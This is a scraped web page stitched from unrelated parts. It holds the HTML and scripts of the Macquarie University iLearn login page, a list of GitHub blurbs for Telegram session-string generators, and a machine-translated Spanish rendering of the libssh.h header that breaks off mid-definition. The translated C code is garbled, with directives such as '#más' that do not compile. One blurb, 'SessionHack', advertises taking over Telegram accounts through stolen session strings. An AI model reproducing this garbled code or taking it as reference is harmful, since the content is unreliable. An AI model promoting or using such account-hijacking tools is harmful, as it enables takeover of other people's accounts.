<script type="text/javascript"> //<![CDATA[ var M = {}; M.yui = {}; M.pageloadstarttime = new Date(); M.cfg = {"wwwroot":"https:\/\/ilearn.mq.edu.au","sesskey":"mDL5SddUvA","loadingicon":"https:\/\/ilearn.mq.edu.au\/theme\/image.php\/mqu\/core\/1487942275\/i\/loading_small","themerev":"1487942275","slasharguments":1,"theme":"mqu","jsrev":"1487942275","admin":"admin","svgicons":true};var yui1ConfigFn = function(me) {if(/-skin|reset|fonts|grids|base/.test(me.name)){me.type='css';me.path=me.path.replace(/\.js/,'.css');me.path=me.path.replace(/\/yui2-skin/,'/assets/skins/sam/yui2-skin')}}; var yui2ConfigFn = function(me) {var parts=me.name.replace(/^moodle-/,'').split('-'),component=parts.shift(),module=parts[0],min='-min';if(/-(skin|core)$/.test(me.name)){parts.pop();me.type='css';min=''};if(module){var filename=parts.join('-');me.path=component+'/'+module+'/'+filename+min+'.'+me.type}else me.path=component+'/'+component+'.'+me.type}; YUI_config = {"debug":false,"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/3.17.2\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"filter":null,"insertBefore":"firstthemesheet","groups":{"yui2":{"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/2in3\/2.9.0\/build\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"ext":false,"root":"2in3\/2.9.0\/build\/","patterns":{"yui2-":{"group":"yui2","configFn":yui1ConfigFn}}},"moodle":{"name":"moodle","base":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?m\/1487942275\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","ext":false,"root":"m\/1487942275\/","patterns":{"moodle-":{"group":"moodle","configFn":yui2ConfigFn}},"filter":null,"modules":{"moodle-core-actionmenu":{"requires":["base","event","node-event-simulate"]},"moodle-core-blocks":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification"]},"moodle-core-checknet":{"requires":["base-base","moodle-core-notification-alert","io-base"]},"moodle-core-chooserdialogue":{"requires":["base","panel","moodle-core-notification"]},"moodle-core-dock":{"requires":["base","node","event-custom","event-mouseenter","event-resize","escape","moodle-core-dock-loader","moodle-core-event"]},"moodle-core-dock-loader":{"requires":["escape"]},"moodle-core-dragdrop":{"requires":["base","node","io","dom","dd","event-key","event-focus","moodle-core-notification"]},"moodle-core-event":{"requires":["event-custom"]},"moodle-core-formautosubmit":{"requires":["base","event-key"]},"moodle-core-formchangechecker":{"requires":["base","event-focus","moodle-core-event"]},"moodle-core-handlebars":{"condition":{"trigger":"handlebars","when":"after"}},"moodle-core-languninstallconfirm":{"requires":["base","node","moodle-core-notification-confirm","moodle-core-notification-alert"]},"moodle-core-lockscroll":{"requires":["plugin","base-build"]},"moodle-core-maintenancemodetimer":{"requires":["base","node"]},"moodle-core-notification":{"requires":["moodle-core-notification-dialogue","moodle-core-notification-alert","moodle-core-notification-confirm","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-core-notification-dialogue":{"requires":["base","node","panel","escape","event-key","dd-plugin","moodle-core-widget-focusafterclose","moodle-core-lockscroll"]},"moodle-core-notification-alert":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-confirm":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-exception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-ajaxexception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-popuphelp":{"requires":["moodle-core-tooltip"]},"moodle-core-session-extend":{"requires":["base","node","io-base","panel","dd-plugin"]},"moodle-core-tooltip":{"requires":["base","node","io-base","moodle-core-notification-dialogue","json-parse","widget-position","widget-position-align","event-outside","cache-base"]},"moodle-core_availability-form":{"requires":["base","node","event","panel","moodle-core-notification-dialogue","json"]},"moodle-backup-backupselectall":{"requires":["node","event","node-event-simulate","anim"]},"moodle-backup-confirmcancel":{"requires":["node","node-event-simulate","moodle-core-notification-confirm"]},"moodle-calendar-info":{"requires":["base","node","event-mouseenter","event-key","overlay","moodle-calendar-info-skin"]},"moodle-course-categoryexpander":{"requires":["node","event-key"]},"moodle-course-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-course-coursebase","moodle-course-util"]},"moodle-course-formatchooser":{"requires":["base","node","node-event-simulate"]},"moodle-course-management":{"requires":["base","node","io-base","moodle-core-notification-exception","json-parse","dd-constrain","dd-proxy","dd-drop","dd-delegate","node-event-delegate"]},"moodle-course-modchooser":{"requires":["moodle-core-chooserdialogue","moodle-course-coursebase"]},"moodle-course-toolboxes":{"requires":["node","base","event-key","node","io","moodle-course-coursebase","moodle-course-util"]},"moodle-course-util":{"requires":["node"],"use":["moodle-course-util-base"],"submodules":{"moodle-course-util-base":{},"moodle-course-util-section":{"requires":["node","moodle-course-util-base"]},"moodle-course-util-cm":{"requires":["node","moodle-course-util-base"]}}},"moodle-form-dateselector":{"requires":["base","node","overlay","calendar"]},"moodle-form-passwordunmask":{"requires":["node","base"]},"moodle-form-shortforms":{"requires":["node","base","selector-css3","moodle-core-event"]},"moodle-form-showadvanced":{"requires":["node","base","selector-css3"]},"moodle-core_message-messenger":{"requires":["escape","handlebars","io-base","moodle-core-notification-ajaxexception","moodle-core-notification-alert","moodle-core-notification-dialogue","moodle-core-notification-exception"]},"moodle-core_message-deletemessage":{"requires":["node","event"]},"moodle-question-chooser":{"requires":["moodle-core-chooserdialogue"]},"moodle-question-preview":{"requires":["base","dom","event-delegate","event-key","core_question_engine"]},"moodle-question-qbankmanager":{"requires":["node","selector-css3"]},"moodle-question-searchform":{"requires":["base","node"]},"moodle-availability_completion-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_date-form":{"requires":["base","node","event","io","moodle-core_availability-form"]},"moodle-availability_grade-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_group-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_grouping-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_profile-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-qtype_ddimageortext-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-qtype_ddimageortext-form":{"requires":["moodle-qtype_ddimageortext-dd","form_filepicker"]},"moodle-qtype_ddmarker-dd":{"requires":["node","event-resize","dd","dd-drop","dd-constrain","graphics"]},"moodle-qtype_ddmarker-form":{"requires":["moodle-qtype_ddmarker-dd","form_filepicker","graphics","escape"]},"moodle-qtype_ddwtos-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-mod_assign-history":{"requires":["node","transition"]},"moodle-mod_attendance-groupfilter":{"requires":["base","node"]},"moodle-mod_dialogue-autocomplete":{"requires":["base","node","json-parse","autocomplete","autocomplete-filters","autocomplete-highlighters","event","event-key"]},"moodle-mod_dialogue-clickredirector":{"requires":["base","node","json-parse","clickredirector","clickredirector-filters","clickredirector-highlighters","event","event-key"]},"moodle-mod_dialogue-userpreference":{"requires":["base","node","json-parse","userpreference","userpreference-filters","userpreference-highlighters","event","event-key"]},"moodle-mod_forum-subscriptiontoggle":{"requires":["base-base","io-base"]},"moodle-mod_oublog-savecheck":{"requires":["base","node","io","panel","moodle-core-notification-alert"]},"moodle-mod_oublog-tagselector":{"requires":["base","node","autocomplete","autocomplete-filters","autocomplete-highlighters"]},"moodle-mod_quiz-autosave":{"requires":["base","node","event","event-valuechange","node-event-delegate","io-form"]},"moodle-mod_quiz-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-base","moodle-mod_quiz-util-page","moodle-mod_quiz-util-slot","moodle-course-util"]},"moodle-mod_quiz-modform":{"requires":["base","node","event"]},"moodle-mod_quiz-questionchooser":{"requires":["moodle-core-chooserdialogue","moodle-mod_quiz-util","querystring-parse"]},"moodle-mod_quiz-quizbase":{"requires":["base","node"]},"moodle-mod_quiz-quizquestionbank":{"requires":["base","event","node","io","io-form","yui-later","moodle-question-qbankmanager","moodle-core-notification-dialogue"]},"moodle-mod_quiz-randomquestion":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-repaginate":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-toolboxes":{"requires":["base","node","event","event-key","io","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-slot","moodle-core-notification-ajaxexception"]},"moodle-mod_quiz-util":{"requires":["node"],"use":["moodle-mod_quiz-util-base"],"submodules":{"moodle-mod_quiz-util-base":{},"moodle-mod_quiz-util-slot":{"requires":["node","moodle-mod_quiz-util-base"]},"moodle-mod_quiz-util-page":{"requires":["node","moodle-mod_quiz-util-base"]}}},"moodle-message_airnotifier-toolboxes":{"requires":["base","node","io"]},"moodle-filter_glossary-autolinker":{"requires":["base","node","io-base","json-parse","event-delegate","overlay","moodle-core-event","moodle-core-notification-alert","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-filter_mathjaxloader-loader":{"requires":["moodle-core-event"]},"moodle-editor_atto-editor":{"requires":["node","transition","io","overlay","escape","event","event-simulate","event-custom","node-event-html5","node-event-simulate","yui-throttle","moodle-core-notification-dialogue","moodle-core-notification-confirm","moodle-editor_atto-rangy","handlebars","timers","querystring-stringify"]},"moodle-editor_atto-plugin":{"requires":["node","base","escape","event","event-outside","handlebars","event-custom","timers","moodle-editor_atto-menu"]},"moodle-editor_atto-menu":{"requires":["moodle-core-notification-dialogue","node","event","event-custom"]},"moodle-editor_atto-rangy":{"requires":[]},"moodle-report_eventlist-eventfilter":{"requires":["base","event","node","node-event-delegate","datatable","autocomplete","autocomplete-filters"]},"moodle-report_loglive-fetchlogs":{"requires":["base","event","node","io","node-event-delegate"]},"moodle-gradereport_grader-gradereporttable":{"requires":["base","node","event","handlebars","overlay","event-hover"]},"moodle-gradereport_history-userselector":{"requires":["escape","event-delegate","event-key","handlebars","io-base","json-parse","moodle-core-notification-dialogue"]},"moodle-tool_capability-search":{"requires":["base","node"]},"moodle-tool_lp-dragdrop-reorder":{"requires":["moodle-core-dragdrop"]},"moodle-assignfeedback_editpdf-editor":{"requires":["base","event","node","io","graphics","json","event-move","event-resize","transition","querystring-stringify-simple","moodle-core-notification-dialog","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-atto_accessibilitychecker-button":{"requires":["color-base","moodle-editor_atto-plugin"]},"moodle-atto_accessibilityhelper-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_align-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_bold-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_charmap-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_chemistry-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_clear-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_collapse-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_emoticon-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_equation-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_html-button":{"requires":["moodle-editor_atto-plugin","event-valuechange"]},"moodle-atto_image-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_indent-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_italic-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_link-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-usedfiles":{"requires":["node","escape"]},"moodle-atto_media-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_noautolink-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_orderedlist-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_rtl-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_strike-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_subscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_superscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_table-button":{"requires":["moodle-editor_atto-plugin","moodle-editor_atto-menu","event","event-valuechange"]},"moodle-atto_title-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_underline-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_undo-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_unorderedlist-button":{"requires":["moodle-editor_atto-plugin"]}}},"gallery":{"name":"gallery","base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/gallery\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?","ext":false,"root":"gallery\/1487942275\/","patterns":{"gallery-":{"group":"gallery"}}}},"modules":{"core_filepicker":{"name":"core_filepicker","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/repository\/filepicker.js","requires":["base","node","node-event-simulate","json","async-queue","io-base","io-upload-iframe","io-form","yui2-treeview","panel","cookie","datatable","datatable-sort","resize-plugin","dd-plugin","escape","moodle-core_filepicker"]},"core_comment":{"name":"core_comment","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/comment\/comment.js","requires":["base","io-base","node","json","yui2-animation","overlay"]}}}; M.yui.loader = {modules: {}}; //]]> </script> <meta name="robots" content="noindex" /> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <link rel="apple-touch-icon-precomposed" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/apple-touch-icon-144-precomposed" sizes="144x144"> <link rel="shortcut icon" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/favicon"> </head> <body id="page-login-index" class="format-site path-login gecko dir-ltr lang-en yui-skin-sam yui3-skin-sam ilearn-mq-edu-au pagelayout-login course-1 context-1 notloggedin content-only layout-option-noblocks layout-option-nocourseheaderfooter layout-option-nocustommenu layout-option-nofooter layout-option-nonavbar"> <div class="skiplinks"><a class="skip" href="#maincontent">Skip to main content</a></div> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.js&rollup/1487942275/mcore-min.js"></script><script type="text/javascript" src="https://ilearn.mq.edu.au/theme/jquery.php/r1487942275/core/jquery-1.12.1.min.js"></script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/javascript-static.js"></script> <script type="text/javascript"> //<![CDATA[ document.body.className += ' jsenabled'; //]]> </script> <div id="nice_debug_area"></div> <header id="page-header"> <div class="container"> <div class="login-logos"> <div class="mq-logo"> <a class="login-logo" href="http://ilearn.mq.edu.au"><img alt="Macquarie University" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/login-logo"></a> </div><!-- /.mq-logo --> <div class="ilearn-logo"> <a class="login-logo-ilearn" href="http://ilearn.mq.edu.au"><img alt="iLearn" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/ilearn-logo"></a> </div><!-- /.ilearn-logo --> </div><!-- /.login-logos --> </div><!-- /.container --> </header><!-- #page-header --> <div id="page"> <div class="container" id="page-content"> <div class="login-wing login-wing-left"></div> <div class="login-wing login-wing-right"></div> <h1 class="login-h1">iLearn Login</h1> <span class="notifications" id="user-notifications"></span><div role="main"><span id="maincontent"></span><div class="loginbox clearfix twocolumns"> <div class="loginpanel"> <h2>Log in</h2> <div class="subcontent loginsub"> <form action="https://ilearn.mq.edu.au/login/index.php" method="post" id="login" > <div class="loginform"> <div class="form-label"><label for="username">Username</label></div> <div class="form-input"> <input type="text" name="username" id="username" size="15" tabindex="1" value="" /> </div> <div class="clearer"><!-- --></div> <div class="form-label"><label for="password">Password</label></div> <div class="form-input"> <input type="password" name="password" id="password" size="15" tabindex="2" value="" /> </div> </div> <div class="clearer"><!-- --></div> <div class="clearer"><!-- --></div> <input id="anchor" type="hidden" name="anchor" value="" /> <script>document.getElementById('anchor').value = location.hash</script> <input type="submit" id="loginbtn" value="Log in" /> <div class="forgetpass"><a href="forgot_password.php">Forgotten your username or password?</a></div> </form> <script type="text/javascript"> $(document).ready(function(){ var input = document.getElementById ("username"); input.focus(); }); </script> <div class="desc"> Cookies must be enabled in your browser<span class="helptooltip"><a href="https://ilearn.mq.edu.au/help.php?component=moodle&identifier=cookiesenabled&lang=en" title="Help with Cookies must be enabled in your browser" aria-haspopup="true" target="_blank"><img src="https://ilearn.mq.edu.au/theme/image.php/mqu/core/1487942275/help" alt="Help with Cookies must be enabled in your browser" class="iconhelp" /></a></span> </div> </div> </div> <div class="signuppanel"> <h2>Is this your first time here?</h2> <div class="subcontent"> </div> </div> <script> dataLayer = []; </script> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-MQZTHB" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-MQZTHB');</script> <!-- End Google Tag Manager --> </div> </div><!-- /.container #page-content --> </div><!-- /#page --> <footer id="page-footer"> <div class="container"> <ul class="page-footer-ul"> <li><a href="http://help.ilearn.mq.edu.au/" target="_blank">iLearn Help and FAQ</a></li> <li><a href="https://oneid.mq.edu.au/" target="_blank">Forgotten your password?</a></li> <li><a href="http://status.ilearn.mq.edu.au/" target="_blank">iLearn Status</a></li> </ul><!-- /.page-footer-ul --> <div class="login-footer-info"> <p>If you are having trouble accessing your online unit due to a disability or health condition, please go to the <a href="http://www.students.mq.edu.au/support/accessibility_services" target="_blank">Student Services Website</a> for information on how to get assistance</p> <p>All material available on iLearn belongs to Macquarie University or has been copied and communicated to Macquarie staff and students under statutory licences and educational exceptions under Australian copyright law. This material is provided for the educational purposes of Macquarie students and staff. It is illegal to copy and distribute this material beyond iLearn except in very limited circumstances and as provided by specific copyright exceptions.</p> </div><!-- /.login-footer-info --> <div class="login-footer-link"> <div class="bootstrap-row"> <div class="col-md-7"> <p>© Copyright Macquarie University | <a href="http://www.mq.edu.au/privacy/privacy.html" target="_blank">Privacy</a> | <a href="http://www.mq.edu.au/accessibility.html" target="_blank">Accessibility Information</a></p> </div><!-- /.col-md-7 --> <div class="col-md-5"> <p>ABN 90 952 801 237 | CRICOS Provider 00002J</p> </div><!-- /.col-md-5 --> </div><!-- /.bootstrap-row --> </div><!-- /.login-footer-link --> </div><!-- /.container --> </footer><!-- /#page-footer --> <script type="text/javascript"> //<![CDATA[ var require = { baseUrl : 'https://ilearn.mq.edu.au/lib/requirejs.php/1487942275/', // We only support AMD modules with an explicit define() statement. enforceDefine: true, skipDataMain: true, waitSeconds : 0, paths: { jquery: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/jquery-1.12.1.min', jqueryui: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/ui-1.11.4/jquery-ui.min', jqueryprivate: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/jquery-private' }, // Custom jquery config map. map: { // '*' means all modules will get 'jqueryprivate' // for their 'jquery' dependency. '*': { jquery: 'jqueryprivate' }, // 'jquery-private' wants the real jQuery module // though. If this line was not here, there would // be an unresolvable cyclic dependency. jqueryprivate: { jquery: 'jquery' } } }; //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/require.min.js"></script> <script type="text/javascript"> //<![CDATA[ require(['core/first'], function() { ; require(["core/notification"], function(amd) { amd.init(1, [], false); });; require(["core/log"], function(amd) { amd.setConfig({"level":"warn"}); }); }); //]]> </script> <script type="text/javascript"> //<![CDATA[ M.yui.add_module({"mathjax":{"name":"mathjax","fullpath":"https:\/\/cdn.mathjax.org\/mathjax\/2.6-latest\/MathJax.js?delayStartupUntil=configured"}}); //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/javascript.php/mqu/1487942275/footer"></script> <script type="text/javascript"> //<![CDATA[ M.str = {"moodle":{"lastmodified":"Last modified","name":"Name","error":"Error","info":"Information","namedfiletoolarge":"The file '{$a->filename}' is too large and cannot be uploaded","yes":"Yes","no":"No","morehelp":"More help","loadinghelp":"Loading...","cancel":"Cancel","ok":"OK","confirm":"Confirm","areyousure":"Are you sure?","closebuttontitle":"Close","unknownerror":"Unknown error"},"repository":{"type":"Type","size":"Size","invalidjson":"Invalid JSON string","nofilesattached":"No files attached","filepicker":"File picker","logout":"Logout","nofilesavailable":"No files available","norepositoriesavailable":"Sorry, none of your current repositories can return files in the required format.","fileexistsdialogheader":"File exists","fileexistsdialog_editor":"A file with that name has already been attached to the text you are editing.","fileexistsdialog_filemanager":"A file with that name has already been attached","renameto":"Rename to \"{$a}\"","referencesexist":"There are {$a} alias\/shortcut files that use this file as their source","select":"Select"},"admin":{"confirmdeletecomments":"You are about to delete comments, are you sure?","confirmation":"Confirmation"},"block":{"addtodock":"Move this to the dock","undockitem":"Undock this item","dockblock":"Dock {$a} block","undockblock":"Undock {$a} block","undockall":"Undock all","hidedockpanel":"Hide the dock panel","hidepanel":"Hide panel"},"langconfig":{"thisdirectionvertical":"btt"}}; //]]> </script> <script type="text/javascript"> //<![CDATA[ (function() {M.util.load_flowplayer(); setTimeout("fix_column_widths()", 20); Y.use("moodle-core-dock-loader",function() {M.core.dock.loader.initLoader(); }); M.util.help_popups.setup(Y); Y.use("moodle-core-popuphelp",function() {M.core.init_popuphelp(); }); M.util.js_pending('random58b8dd8d3abcf2'); Y.on('domready', function() { M.util.move_debug_messages(Y); M.util.js_complete('random58b8dd8d3abcf2'); }); M.util.js_pending('random58b8dd8d3abcf3'); Y.on('domready', function() { M.util.netspot_perf_info(Y, "00000000:0423_00000000:0050_58B8DD8D_30F8F6D:3B0C", 1488510349.1968); M.util.js_complete('random58b8dd8d3abcf3'); }); M.util.init_skiplink(Y); Y.use("moodle-filter_glossary-autolinker",function() {M.filter_glossary.init_filter_autolinking({"courseid":0}); }); Y.use("moodle-filter_mathjaxloader-loader",function() {M.filter_mathjaxloader.configure({"mathjaxconfig":"\nMathJax.Hub.Config({\n config: [\"Accessible.js\", \"Safe.js\"],\n errorSettings: { message: [\"!\"] },\n skipStartupTypeset: true,\n messageStyle: \"none\",\n TeX: {\n extensions: [\"mhchem.js\",\"color.js\",\"AMSmath.js\",\"AMSsymbols.js\",\"noErrors.js\",\"noUndefined.js\"]\n }\n});\n ","lang":"en"}); }); M.util.js_pending('random58b8dd8d3abcf5'); Y.on('domready', function() { M.util.js_complete("init"); M.util.js_complete('random58b8dd8d3abcf5'); }); })(); //]]> </script> <script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","licenseKey":"d6bb71fb66","applicationID":"3373525,3377726","transactionName":"YVMHYkVQWkIAUERQDFgZMEReHlheBlpeFgpYUgBOGUFcQQ==","queueTime":0,"applicationTime":48,"atts":"TRQEFA1KSUw=","errorBeacon":"bam.nr-data.net","agent":""}</script></body> </html>
DAXXTEAM / String SessionTelegram string session generator for Pyrogram and Telethon
Pranay5463 / String Session Generator BotA String Session Session Generator Bot , Built in Python . It can help you create Pyrogram and Telethon String .
m4mallu / Pyrogram V2 SessionStringMakerV2 pyrogram compatible session string maker script.
arunpt / Tg Qr Session GenGenerate a session string for your Telegram account just by scanning the QR code
SyedZaryabFahim / SessionHackSession Hacker is a smart Telegram Bot by the Pookie Tech Team. It lets you delete group , login id , get number through session string of that Account!! Simple secure, and powerful built to give full control!!!
developernaimul / Vanilla JavascriptBasic BOM Function | Data Types | Statement & rules | JavaScript Variables | Template literal Syntax | Comments | Operators | Conditional Statement | Loops | User Defined Function | Invoke a function | Arguments & Parameter | function Expression | Arrow function | Arrow function Details | Constructor Function | Project Work | Array ( Data Structure ) | Object Data Structure | Fetch all Student data by loops | Date Object | Math Object | String Object | Number Objects | Booleans Objects | Type Conversion | JSON Data | Local Storage | Errors handling | Local Storage | Session Storage | Cookie Storage | Regular Expression |
EL-Coders / SessionStringBotNo description available
M4hbod / Pyrogram String Session GeneratorNo description available
Nenu-doc / DOCTYPE Html Html Head Title Biblioteca Title Head <!DOCTYPE html> <html> <head> <title>Biblioteca</title> </head> <body> <h2>LIBRARY SSH</h2> <strong><h1>libssh 0.8.90</h1></strong><br /> <p> <button><li>La biblioteca SSH</li></button> <button><i>PAGINA PRINCIPAL</li></button> <button><li>PÁGINAS RELACIONADAS</li></button> <button><li>MÓDULOS</li></button> <button><li>ESTRUCTURAS DE DATOS</li></button> <button><li>ARCHIVOS</li></button> </p> <ul> <button><h3> incluir </h3></button> <button><h3> libssh </h3></button> <button><h3> libssh.h </h3></button> <br /> </ul> <small>Esta biblioteca es software gratuito; puedes redistribuirlo y / o 7 * modificarlo según los términos del GNU Lesser General Public 8 * Licencia publicada por la Free Software Foundation; ya sea 9 * versión 2.1 de la Licencia, o (a su elección) cualquier versión posterior. 10 * 11 * Esta biblioteca se distribuye con la esperanza de que sea útil, 12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de 21 #ifndef _LIBSSH_H 22 #define _LIBSSH_H 23 24 #si está definido _WIN32 || definido __CYGWIN__ 25 #ifdef LIBSSH_STATIC 26 #define LIBSSH_API 27 #más 28 #ifdef LIBSSH_EXPORTS 29 #ifdef __GNUC__ 30 #define LIBSSH_API __attribute __ ((dllexport)) 31 #más 32 #define LIBSSH_API __declspec (dllexport) 33 #endif 34 #más 35 #ifdef __GNUC__ 36 #define LIBSSH_API __attribute __ ((dllimport)) 37 #más 38 #define LIBSSH_API __declspec (dllimport) 39 #endif 40 #endif 41 #endif 42 #más 43 #if __GNUC__> = 4 &&! Definido (__ OS2__) 44 #define LIBSSH_API __attribute __ ((visibilidad ("predeterminado"))) 45 #más 46 #define LIBSSH_API 47 #endif 48 #endif 49 50 #ifdef _MSC_VER 51 / * Visual Studio no tiene inttypes.h así que no conoce uint32_t * / 52 typedef int int32_t; 53 typedef unsigned int uint32_t; 54 typedef unsigned short uint16_t; 55 typedef unsigned char uint8_t; 56 typedef unsigned long long uint64_t; 57 typedef int mode_t; 58 #else / * _MSC_VER * / 59 #include <unistd.h> 60 #include <inttypes.h> 61 #include <sys / types.h> 62 #endif / * _MSC_VER * / 63 64 #ifdef _WIN32 65 #include <winsock2.h> 66 #else / * _WIN32 * / 67 #include <sys / select.h> / * para fd_set * * / 68 #include <netdb.h> 69 #endif / * _WIN32 * / 70 71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s) 72 #define SSH_TOSTRING (s) #s 73 74 / * macros de versión libssh * / 75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c)) 76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c 77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c) 78 79 / * versión libssh * / 80 #define LIBSSH_VERSION_MAJOR 0 81 #define LIBSSH_VERSION_MINOR 8 82 #define LIBSSH_VERSION_MICRO 90 83 84 #define LIBSSH_VERSION_INT SSH_VERSION_INT (LIBSSH_VERSION_MAJOR, \ 85 LIBSSH_VERSION_MINOR, \ 86 LIBSSH_VERSION_MICRO) 87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \ 88 LIBSSH_VERSION_MINOR, \ 89 LIBSSH_VERSION_MICRO) 90 91 / * GCC tiene verificación de atributo de tipo printf. * / 92 #ifdef __GNUC__ 93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ ((__format__ (__printf__, a, b))) 94 #más 95 #define PRINTF_ATTRIBUTE (a, b) 96 #endif / * __GNUC__ * / 97 98 #ifdef __GNUC__ 99 #define SSH_DEPRECATED __attribute__ ((obsoleto)) 100 #más 101 #define SSH_DEPRECATED 102 #endif 103 104 #ifdef __cplusplus 105 externa "C" { 106 #endif 107 108 struct ssh_counter_struct { 109 uint64_t in_bytes; 110 uint64_t out_bytes; 111 uint64_t in_packets; 112 uint64_t out_packets; 113 }; 114 typedef struct ssh_counter_struct * ssh_counter ; 115 116 typedef struct ssh_agent_struct * ssh_agent ; 117 typedef struct ssh_buffer_struct * ssh_buffer ; 118 typedef struct ssh_channel_struct * ssh_channel ; 119 typedef struct ssh_message_struct * ssh_message ; 120 typedef struct ssh_pcap_file_struct * ssh_pcap_file; 121 typedef struct ssh_key_struct * ssh_key ; 122 typedef struct ssh_scp_struct * ssh_scp ; 123 typedef struct ssh_session_struct * ssh_session ; 124 typedef struct ssh_string_struct * ssh_string ; 125 typedef struct ssh_event_struct * ssh_event ; 126 typedef struct ssh_connector_struct * ssh_connector ; 127 typedef void * ssh_gssapi_creds; 128 129 / * Tipo de enchufe * / 130 #ifdef _WIN32 131 #ifndef socket_t 132 typedef SOCKET socket_t; 133 #endif / * socket_t * / 134 #else / * _WIN32 * / 135 #ifndef socket_t 136 typedef int socket_t; 137 #endif 138 #endif / * _WIN32 * / 139 140 #define SSH_INVALID_SOCKET ((socket_t) -1) 141 142 / * las compensaciones de los métodos * / 143 enum ssh_kex_types_e { 144 SSH_KEX = 